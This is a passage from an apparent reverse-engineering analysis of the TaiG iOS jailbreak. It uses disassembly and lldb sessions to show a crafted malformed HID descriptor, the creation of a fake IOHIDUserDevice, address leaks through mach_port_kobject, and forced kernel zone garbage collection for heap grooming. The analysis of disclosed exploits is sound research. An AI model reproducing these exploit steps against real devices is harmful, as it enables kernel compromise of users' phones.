0xff,0xff,0xff,0xff,0x37,0xff,0xff,0xff,0xff,0xa7,0x00,0x00,0x00,0x00,0xb7,0x00,
0x00,0x00,0x00,0xa3,0xfd,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00,
0x27,0x00,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37,
0x00,0x00,0x00,0x00,0x67,0x00,0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08,
0x00,0x00,0x00,0x97,0xff,0x00,0x00,0x00,0x87,0x01,0x00,0x00,0x00,0x93,0x03,0x00,
0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00,0x27,0x00,0x00,0x00,0x00,0x17,
0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x00,0x67,0x00,
0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08,0x00,0x00,0x00,0x97,0xff,0x00,
0x00,0x00,0x87,0x02,0x00,0x00,0x00,0x93,0x03,0x00,0x00,0x00,0xc3,0x00,0x00,0x00 };
PrintHIDDescriptor(rd, // const uint8_t *reportDesc,
len); // uint32_t length)
}
Zephyr:tools morpheus$ cc IOHIDReportDescriptorParser.c -o IOHID
IOHIDReportDescriptorParser.c:689:1: warning: return type of 'main' is not 'int' [-Wmain-return-type]
... # Whatever, clang. Whatever..
Zephyr:tools morpheus$ ./IOHID
Raw HID Descriptor:
---------------------------------------------------------
00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47
00000010: FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00
00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00
00000030: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37
00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08
00000050: 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00
00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17
00000070: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00
00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00
00000090: 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00
000000A0: C0
Parsed HID Descriptor:
---------------------------------------------------------
0x07, 0xFE, 0xFF, 0xFF, 0xFF, // Usage Page (4294967294)
0x27, 0xFF, 0xFF, 0xFF, 0xFF, // Logical Maximum......... (-1)
0x17, 0xFF, 0xFF, 0xFF, 0xFF, // Logical Minimum......... (-1)
0x47, 0xFF, 0xFF, 0xFF, 0xFF, // Physical Maximum........ (-1)
0x37, 0xFF, 0xFF, 0xFF, 0xFF, // Physical Minimum........ (-1)
0xA7, 0x00, 0x00, 0x00, 0x00, // Push.................... (0)
0xB7, 0x00, 0x00, 0x00, 0x00, // Pop..................... (0)
0xA3, 0xFD, 0xFF, 0xFF, 0xFF, // Collection (Collection )
0x07, 0x00, 0x00, 0x00, 0x00, // Usage Page (0)
0x0A, 0x00, 0x00, // Usage 0 (0x0)
0x27, 0x00, 0x00, 0x00, 0x00, // Logical Maximum......... (0)
0x17, 0x00, 0x00, 0x00, 0x00, // Logical Minimum......... (0)
0x47, 0x00, 0x00, 0x00, 0x00, // Physical Maximum........ (0)
0x37, 0x00, 0x00, 0x00, 0x00, // Physical Minimum........ (0)
0x67, 0x00, 0x00, 0x00, 0x00, // Unit.................... (0)
0x57, 0x00, 0x00, 0x00, 0x00, // Unit Exponent........... (0)
0x77, 0x08, 0x00, 0x00, 0x00, // Report Size............. (8)
0x97, 0xFF, 0x00, 0x00, 0x00, // Report Count............ (255)
0x87, 0x01, 0x00, 0x00, 0x00, // ReportID................ (1)
0x93, 0x03, 0x00, 0x00, 0x00, // Output..................(Constant)
0x07, 0x00, 0x00, 0x00, 0x00, // Usage Page (0)
0x0A, 0x00, 0x00, // Usage 0 (0x0)
0x27, 0x00, 0x00, 0x00, 0x00, // Logical Maximum......... (0)
0x17, 0x00, 0x00, 0x00, 0x00, // Logical Minimum......... (0)
0x47, 0x00, 0x00, 0x00, 0x00, // Physical Maximum........ (0)
0x37, 0x00, 0x00, 0x00, 0x00, // Physical Minimum........ (0)
0x67, 0x00, 0x00, 0x00, 0x00, // Unit.................... (0)
0x57, 0x00, 0x00, 0x00, 0x00, // Unit Exponent........... (0)
0x77, 0x08, 0x00, 0x00, 0x00, // Report Size............. (8)
0x97, 0xFF, 0x00, 0x00, 0x00, // Report Count............ (255)
0x87, 0x02, 0x00, 0x00, 0x00, // ReportID................ (2)
0x93, 0x03, 0x00, 0x00, 0x00, // Output..................(Constant)
0xC3, 0x00, 0x00, 0x00, 0xC0, // End Collection (3221225472)
That's nasty, but that's not all: We still have two functions - 43 and 45, which are required to really mess things up:
// More optimized memset follows: memset (sp_0088, '\0', 56), and W24 is len of descriptor //
10000e4f8 a90b7fff STP XZR, XZR, [SP,#176] 10000e4fc a90a7fff STP XZR, XZR, [SP,#160] 10000e500 a9097fff STP XZR, XZR, [SP,#144] 10000e504 b000318 ADD W24, W24, W0 10000e508 f90047ff STR XZR, [SP, #136] ; ? //
// calls 43 with (sp_50e8 (descriptor), len_of_descriptor, sp00b8, 0); //
10000e50c 52800003 MOVZ W3, #0; ; ->R3 = 0x0 10000e510 9102e3e2 ADD X2, SP, #184; ; R2 = SP + 0xb8 10000e514 aa1703e0 *MOV X0, X23 10000e518 aa1803e1 *MOV X1, X24 10000e51c 97ffeb17 BL _func_(43) ; ; 0x100009178 //
// 43 returns and sets sp_00b8 to an obviously malformed hid struct. We then call 45 with (sp00b8, sp0088) //
10000e520 f9405fe0 LDR X0, [X31, #184]; R0 = *(SP + 0xb8)? 10000e524 910223e1 ADD X1, SP, #136; ; R1 = SP + 0x88 10000e528 97ffec54 BL _func_(45) ; ; 0x100009678
Both functions are too crazy to follow, but a breakpoint reveals what they do. In particular, 43 populates sp_00b8 with the following:
# Stopping just shy of 43: * thread #1: tid = 0x1be9, 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336: -> 0x10004a51c: bl 0x100045178 ; ___lldb_unnamed_function43$$taig.2.4.3 # Read registers (lldb) reg read x0 x1 x2 x3 x0 = 0x000000016fdc1ce8 # SP_50e8 (descriptor) x1 = 0x00000000000000a1 # Len x2 = 0x000000016fdbccb8 # SP_00b8 x3 = 0x0000000000000000 # Set a breakpoint (lldb) b 0x10004a520 Breakpoint 7: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 340, address = 0x000000010004a520 (lldb) mem read "$sp + 0xb8" 0x16fdbccb8: 00 00 60 37 01 00 00 00 00 00 00 00 00 00 00 00 ..`7............ (lldb) mem read 0x0137600000 0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00 dih......`7.... 0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00 ..........`7.... 0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00 ..........`7.... 0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00 ..........`7.... 0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... 0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... 0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00 ..........`7.... 0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00 ................ 0x137600080: 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 ................ 0x137600090: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 ................
That " dih" signature looks like it's HID related - and, indeed, the sources reveal it defined in kHIDOSType
... and used extensively in
struct HIDPreparsedData { UInt32 hidTypeIfValid; HIDCollection * collections; UInt32 collectionCount; HIDReportItem * reportItems; UInt32 reportItemCount; HIDReportSizes * reports; UInt32 reportCount; HIDP_UsageItem * usageItems; UInt32 usageItemCount; HIDStringItem * stringItems; UInt32 stringItemCount; HIDDesignatorItem * desigItems; UInt32 desigItemCount; UInt8 * rawMemPtr; UInt32 flags; IOByteCount numBytesAllocated; };
Putting the two together we get:
hidTypeIfValid collections
0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00 dih......`7....
collectionCount reportItems
0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00 ..........`7....
reportItemCount reports
0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00 ..........`7....
reportCount usageItems
0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00 ..........`7....
usageItemCount stringItems
0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7....
stringItemCount desigItems
0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7....
desigItemCount rawMemPtr (tsk tsk)
0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00 ..........`7....
flags numBytesAllocated
0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00 ................
And, reading the pointers...
(lldb) mem read 0x01376001a0 0x1376001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376001b0: 00 00 00 00 02 00 00 00 00 00 00 00 01 00 00 00 ................ 0x1376001c0: 01 00 00 00 00 00 00 00 fd ff ff ff fe ff ff ff ................ 0x1376001d0: 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ................ 0x1376001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376001f0: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600210: 08 00 00 00 01 00 00 00 ff 00 00 00 01 00 00 00 ................ 0x137600220: 08 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 ................ 0x137600230: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600240: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 0x137600250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600260: 00 00 00 00 00 00 00 00 08 00 00 00 02 00 00 00 ................ 0x137600270: ff 00 00 00 02 00 00 00 08 00 00 00 01 00 00 00 ................ 0x137600280: 03 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................ 0x137600290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002b0: 01 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00 ................ 0x1376002c0: 02 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00 ................ 0x1376002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002f0: 00 00 00 00 00 00 00 00 00 00 00 00 fe ff ff ff ................
The HIDPreParsedData
gets passed to 45, which takes sp_0088
(still null) as a second argument. When it returns, the HIDPreParsedData
is unmodified, but sp_0088
is now populated. Recall this was memset to 0x30 bytes (the next var is sp_00b8):
(lldb) mem read "$sp + 0x88" 0x16fdbcc88: 00 00 00 00 fe ff ff ff 01 00 00 00 00 01 00 00 ................ 0x16fdbcc98: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdbcca8: 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................
For now, this is put aside, as we put our messed up descriptor to good use.
Creating the fake device
So, we have a descriptor. What do we do with it? Create a fake device, of course:
//
// Then create our fake IOHIDUserDevice with (IOHIDResource handle, sp_50e8 (descriptor), len_of_Descriptor) //
10000e52c aa1503e0 *MOV X0, X21 10000e530 aa1703e1 *MOV X1, X23 10000e534 aa1803e2 *MOV X2, X24 10000e538 97ffe971 BL _create_fake_IOHID_device(40) ; ; 0x100008afc 10000e53c b9000660 STR W0, [X19, #4]; ; *((0xffffffffffffffff) + 0x4) *0x3 = X0 0x100000cfeedfbbf 10000e540 34001de0 CBZ X0, outta_here ; ; 0x10000e8fc
Going into the function, we see something curious:
_create_fake_IOHID_device(40): 100008afc a9ba6ffc STP X28, X27, [SP,#-96]! 100008b00 a90167fa STP X26, X25, [SP,#16] 100008b04 a9025ff8 STP X24, X23, [SP,#32] 100008b08 a90357f6 STP X22, X21, [SP,#48] 100008b0c a9044ff4 STP X20, X19, [SP,#64] 100008b10 a9057bfd STP X29, X30, [SP,#80] 100008b14 910143fd ADD X29, SP, #80; ; R29 = SP + 0x50 100008b18 d11103ff SUB X31, X31, #1088 100008b1c aa0203f6 *MOV X22, X2 100008b20 aa0103f5 *MOV X21, X1 100008b24 aa0003f4 *MOV X20, X0 100008b28 910043f9 ADD X25, SP, #16; ; R25 = SP + 0x10 100008b2c d503201f NOP 100008b30 5809a81a LDR X26, #19776; ; R26 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 100008b34 f9400348 LDR X8, [X26, #0]; ; R8 = *(R26(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 100008b38 f9000328 STR X8, [X25, #0]; ; *((0x10) + 0x0) *0x10 = X8 0x3f3f3f3f 100008b3c f9001bff STR XZR, [SP, #48]; ; *(SP + 0x30) = X31 0x0 100008b40 29057fff STP WZR, WZR, [SP,#40] 100008b44 f90013ff STR XZR, [SP, #32]; ; *(SP + 0x20) = X31 0x0 100008b48 b9001fff STR WZR, [SP, #28]; ; *(SP + 0x1c) = X31 0x0 100008b4c d503201f NOP 100008b50 5809a9c8 LDR X8, #19790; ; R8 = *0x10001c088libSystem.B.dylib::_mach_task_self_ 100008b54 b9400100 LDR W0, [X8, #0]; ; R0 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 100008b58 910073e2 ADD X2, SP, #28; ; R2 = SP + 0x1c 100008b5c 910083e3 ADD X3, SP, #32; ; R3 = SP + 0x20 100008b60 aa1403e1 *MOV X1, X20 100008b64 9400415a BL libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc 100008b68 52800017 MOVZ W23, #0; ; ->R23 = 0x0 100008b6c 35000d20 CBNZ X0, _failed ; ; 0x100008d10 100008b70 d503201f NOP 100008b74 5809a6e8 LDR X8, #19767; ; R8 = *0x10001c050CoreFoundation::_kCFAllocatorDefault 100008b78 f9400117 LDR X23, [X8, #0]; ; R23 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 100008b7c d2800001 MOVZ X1, #0; ; ->R1 = 0x0 100008b80 d503201f NOP ..
What's that, you say? mach_port_kobject
? Isn't that the SAME FUNCTION THAT ISN'T SUPPOSED TO BE IMPLEMENTED UNLESS #define MACH_DEBUG? Isn't that the same function APPLE GOT HIT WITH IN THE PAST?. This wouldn't be demanding of caps, if not for the following nugget, from Apple's Security Content of 8.1.3:
So, yes. "addressed by disabling" a function that the #define
s of XNU do not enable by default in production configurations anyway. You can see that TaiG would fail if the function were indeed disabled. Does it? Set a breakpoint and see..
(lldb) b mach_port_kobject Breakpoint 8: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197d31ed0 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1 frame #0: 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject libsystem_kernel.dylib`mach_port_kobject: -> 0x197d31ed0: b 0x197d2435c ; _kernelrpc_mach_port_kobject libsystem_kernel.dylib`mach_port_unguard: 0x197d31ed4: stp x22, x21, [sp, #-48]! 0x197d31ed8: stp x20, x19, [sp, #16] 0x197d31edc: stp fp, lr, [sp, #32] (lldb) reg read x0 x1 x2 x3 x0 = 0x0000000000000103 # ipc_state_t task = mach_task_self x1 = 0x0000000000000b0b # Good old b0b, dependable IOHIDResource that he is x2 = 0x000000016fdbc77c # Out: object_type x3 = 0x000000016fdbc780 # Out: object_addr (lldb) mem read $x2 0x16fdbc77c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f ............(..o # Proceeding with caution (lldb) stepi ... (lldb) thread step-out Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108, queue = 'com.apple.main-thread', stop reason = step out frame #0: 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108: -> 0x100044b68: movz w23, #0 0x100044b6c: cbnz w0, 0x100044d10 ; ___lldb_unnamed_function40$$taig.2.4.3 + 532 0x100044b70: nop 0x100044b74: ldr x8, #79068 ; (void *)0x000000018590e070: kCFAllocatorDefault # For a disabled function, mach_port_kobject still indicates success (lldb) reg read x0 x0 = 0x0000000000000000 # .. and still works remarkably well (lldb) mem read 0x16fdbc77c 0x16fdbc77c: 1d 00 00 00 95 ea 80 14 e4 06 6b 6f 00 00 00 00 ..........ko.... 0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f ............(..o
Notice that the check of the return value (X0) would flush the entire effort down the drain, by bailing. Meaning that an ounce of defence in depth would have prevented this. But. well.. no.
To create the fake device, we call on friend 0xb0b, using another abomination, IOKit::_IOConnectCallMethod
, and packaging our report descriptor in an XML plist..
(lldb) b IOConnectCallMethod Breakpoint 9: where = IOKit`IOConnectCallMethod, address = 0x0000000186a55ef4 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000186a55ef4 IOKit`IOConnectCallMethod, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1 frame #0: 0x0000000186a55ef4 IOKit`IOConnectCallMethod IOKit`IOConnectCallMethod: -> 0x186a55ef4: stp x20, x19, [sp, #-32]! 0x186a55ef8: stp fp, lr, [sp, #16] 0x186a55efc: add fp, sp, #16 0x186a55f00: sub sp, sp, #80 (lldb) reg read x0 x1 x2 x3 x4 x5 x6 x7 x0 = 0x0000000000000b0b mach_port_t connection, // In x1 = 0x0000000000000000 uint32_t selector, // In x2 = 0x000000016fdbc790 const uint64_t *input, // In x3 = 0x0000000000000001 uint32_t inputCnt, // In x4 = 0x000000016fdbc798 const void *inputStruct, // In x5 = 0x00000000000001cb size_t inputStructCnt, // In x6 = 0x0000000000000000 uint64_t *output, // Out x7 = 0x0000000000000000 uint32_t *outputCnt, // In/Out SP void *outputStruct, // Out SP + 8 void *outputStructCntP); // Out (lldb) mem read 16fdbc790 0x16fdbc790: 00 00 00 00 00 00 00 00 3c 3f 78 6d 6c 20 76 65 .........< 0x16fdbc7c0: 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 !DOCTYPE plist P 0x16fdbc7d0: 55 42 4c 49 43 20 22 2d 2f 2f 41 70 70 6c 65 2f UBLIC "-//Apple/ 0x16fdbc7e0: 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f /DTD PLIST 1.0// 0x16fdbc7f0: 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e EN" "http://www. 0x16fdbc800: 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 apple.com/DTDs/P 0x16fdbc810: 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e ropertyList-1.0. 0x16fdbc820: 64 74 64 22 3e 0a 3c 70 6c 69 73 74 20 76 65 72 dtd">.<plist ver 0x16fdbc830: 73 69 6f 6e 3d 22 31 2e 30 22 3e 0a 3c 64 69 63 sion="1.0">.<dic 0x16fdbc840: 74 3e 0a 09 3c 6b 65 79 3e 52 65 70 6f 72 74 44 t>..<key>ReportD 0x16fdbc850: 65 73 63 72 69 70 74 6f 72 3c 2f 6b 65 79 3e 0a escriptor</key>. 0x16fdbc860: 09 3c 64 61 74 61 3e 0a 09 42 2f 37 2f 2f 2f 38 .<data>..B/7///8 0x16fdbc870: 6e 2f 2f 2f 2f 2f 78 66 2f 2f 2f 2f 2f 52 2f 2f n/////xf/////R// 0x16fdbc880: 2f 2f 2f 38 33 2f 2f 2f 2f 2f 36 63 41 41 41 41 ///83/////6cAAAA 0x16fdbc890: 41 74 77 41 41 41 41 43 6a 2f 66 2f 2f 2f 77 63 AtwAAAACj/f///wc 0x16fdbc8a0: 41 41 41 41 41 43 67 41 41 4a 77 41 41 0a 09 41 AAAAACgAAJwAA..A 0x16fdbc8b0: 41 41 58 41 41 41 41 41 45 63 41 41 41 41 41 4e AAXAAAAAEcAAAAAN 0x16fdbc8c0: 77 41 41 41 41 42 6e 41 41 41 41 41 46 63 41 41 wAAAABnAAAAAFcAA 0x16fdbc8d0: 41 41 41 64 77 67 41 41 41 43 58 2f 77 41 41 41 AAAdwgAAACX/wAAA 0x16fdbc8e0: 49 63 42 41 41 41 41 6b 77 4d 41 41 41 41 48 41 IcBAAAAkwMAAAAHA 0x16fdbc8f0: 41 41 41 0a 09 41 41 6f 41 41 43 63 41 41 41 41 AAA..AAoAACcAAAA 0x16fdbc900: 41 46 77 41 41 41 41 42 48 41 41 41 41 41 44 63 AFwAAAABHAAAAADc 0x16fdbc910: 41 41 41 41 41 5a 77 41 41 41 41 42 58 41 41 41 AAAAAZwAAAABXAAA 0x16fdbc920: 41 41 48 63 49 41 41 41 41 6c 2f 38 41 41 41 43 AAHcIAAAAl/8AAAC 0x16fdbc930: 48 41 67 41 41 41 4a 4d 44 0a 09 41 41 41 41 77 HAgAAAJMD..AAAAw 0x16fdbc940: 77 41 41 41 41 41 3d 0a 09 3c 2f 64 61 74 61 3e wAAAAA=..</data> 0x16fdbc950: 0a 3c 2f 64 69 63 74 3e 0a 3c 2f 70 6c 69 73 74 .</dict>.</plist 0x16fdbc960: 3e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >...............
I'm sure you'll believe me that the ucky plist is, indeed, the descriptor (you can always Base64 decode it :-). Selector "0" is _createDevice
, and if you break right after it and run ioreg -l -w 0 -f
you should see:
| +-o IOHIDResourceDeviceUserClient| | { | | "IOUserClientCreator" = "pid 321, taig.2.4.3" | | } | | | +-o IOHIDUserDevice | | { | | "MaxOutputReportSize" = 256 | | "InputReportElements" = ({"ReportID"=1,"ElementCookie"=514,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0},{"ReportID"=2,"ElementCookie"=515,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0}) | | "IOCFPlugInTypes" = {"7DDEECA8-A7B4-11DA-8A0E-0014519758EF"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","40A57A4E-26A0-11D8-9295-000A958A2C78"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","FA12FA38-6F1A-11D4-BA0C-0005028F18D5"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin"} | | "IOUserClientClass" = "IOHIDLibUserClient" | | "PrimaryUsage" = 0 | | "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0}) | | "HIDDefaultBehavior" = Yes | | "ReportInterval" = 8000 | | "ReportDescriptor" = | | 00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47 FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00 .....'.........G....7........... | | 00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 ................'.........G....7 | | 00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00 ....g....W....w................. | | 00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 ..........'.........G....7....g. | | 00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00 ...W....w....................... | | 000000A0: 00 . | | "Elements" = ({"ReportID"=0,"ElementCookie"=1,"CollectionType"=18446744073709551613,"Type"=513, "Elements"=({"UnitExponent"=0,"IsRelative"=No,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129, "Size"=2040,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=255,"Unit"=0,"HasNullState"=No,"IsNonLinear" =No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=2}, {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=0,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129, "Size"=8,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No,"IsNonLinear"=No, "HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=3}, {"UnitExponent"=0,"IsRelative"=.. .. .. (lots and lots and lots of Duplicate Indexes) .. {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=254,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0, "Type"=129,"Size"=8,"Flags"=3,"ReportID"=2,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No, "IsNonLinear"=No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0, "ElementCookie"=513}),"UsagePage"=18446744073709551614,"Usage"=0}) | | "MaxFeatureReportSize" = 1 | | "PrimaryUsagePage" = 18446744073709551614 | | "MaxInputReportSize" = 1 | | } | | | +-o IOHIDInterface | { | "PrimaryUsagePage" = 18446744073709551614 | "HIDDefaultBehavior" = Yes | "ReportInterval" = 8000 | "PrimaryUsage" = 0 | "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0}) | } | ...
There you have it. (Yet another) bug in IOHID, which allows you to create descriptors, as far as the eye can see. Bounds checking? Nah. It's all PreParsed anyway. But wait. There's more -- we're only getting warmed up here.
Exhausting IOKit
With our device created, it's time to go for the real prize - kernel memory. Always a good start - IOConnectMapMemory
:
//
// so far so good - call IOConnectMapMemory with args:
// (connect = IOHIDServiceHandle,
// memoryType = 0,
// intoTask = mach_task_self,
// atAddress = arg0 + 8,
// ofSize = arg0 + 0x10,
// options = 1) //
10000e544 aa1303e4 *MOV X4, X19 10000e548 b8410480 -LDR W0, [X4], #16; ; R0 = *(R4(0xffffffffffffffff) + 0x10) = *(0xf) => 0x100000cfeedfacf 10000e54c d503201f NOP 10000e550 5806d9c8 LDR X8, #14030; ; R8 = *0x10001c088libSystem.B.dylib::_mach_task_self_ 10000e554 b9400102 LDR W2, [X8, #0]; ; R2 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e558 91002263 ADD X3, X19, #8; ; ..R3 = R19 (0xffffffffffffffff) + 0x8 = 0x7 10000e55c 52800001 MOVZ W1, #0; ; ->R1 = 0x0 10000e560 320003e5 ORR W5, WZR, #0x1; ; ->R5 = 0x1 10000e564 940029ed BL IOKit::_IOConnectMapMemory ; ; 0x100018d18 ; R0 = IOKit::_IOConnectMapMemory((mach port),0,(mach port),SP+0x8,SP+0x10,1); ;
This will map memory and return a pointer to somewhere, of 0x4030 bytes. Put that aside, too
What follows is a call to srand(time())
because we'll need some (non-cryptographically secure) random numbers a bit later on. New variables appear, though I've already accounted them in the Stack Setup explanation, above. Our focus now becomes assaulting IOKit:
assault_IOKit: //
// .. and sp_0060 = w24 = 0 //
10000e5e0 b90063f8 STR W24, [SP, #96] ; ? //
// call IOServiceGetMatchingService (0, IOServiceMatching("IOPMRootDomain")); - this will return 0xd07 usually //
10000e5e4 aa0803e1 *MOV X1, X8 10000e5e8 94002a05 BL IOKit::_IOServiceGetMatchingService ; ; 0x100018dfc ; R0 = IOKit::_IOServiceGetMatchingService((mach port),? - 4096); ; 10000e5ec aa0003fb *MOV X27, X0 10000e5f0 3400183b CBZ X27, return_-1 ; ; 0x10000e8f4 10000e5f4 94000207 BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 //
// The value at 0x10001e314 tells us if we've garbage collected //
10000e5f8 1007e8f8 ADR x24, 64796; ; ->R24 = 0x10001e314 10000e5fc d503201f NOP 10000e600 39400308 LDRB W8, [X24] 10000e604 36000068 TBZ W8, #0, force_GC ; 0x10000e610 10000e608 52801415 MOVZ W21, #160; ; ->R21 = 0xa0 10000e60c 14000005 B after_GC_or_no_GC ; ; 0x10000e620 force_GC: //
// This forces kernel zone garbage collection //
10000e610 94002aa3 BL libSystem.B.dylib::_mach_host_self ; ; 0x10001909c 10000e614 94002ab1 BL libSystem.B.dylib::_mach_zone_force_gc ; ; 0x1000190d8 10000e618 39000315 STRB W21, [X24]; ; *((0x10001e314) + 0x0) *0x10001e314 = X21 0xa0 10000e61c 5280c815 MOVZ W21, #1600; ; ->R21 = 0x640 after_GC_or_no_GC: //
// At this point W21 is either 1600 (if we GCed) or 160 (if not) //
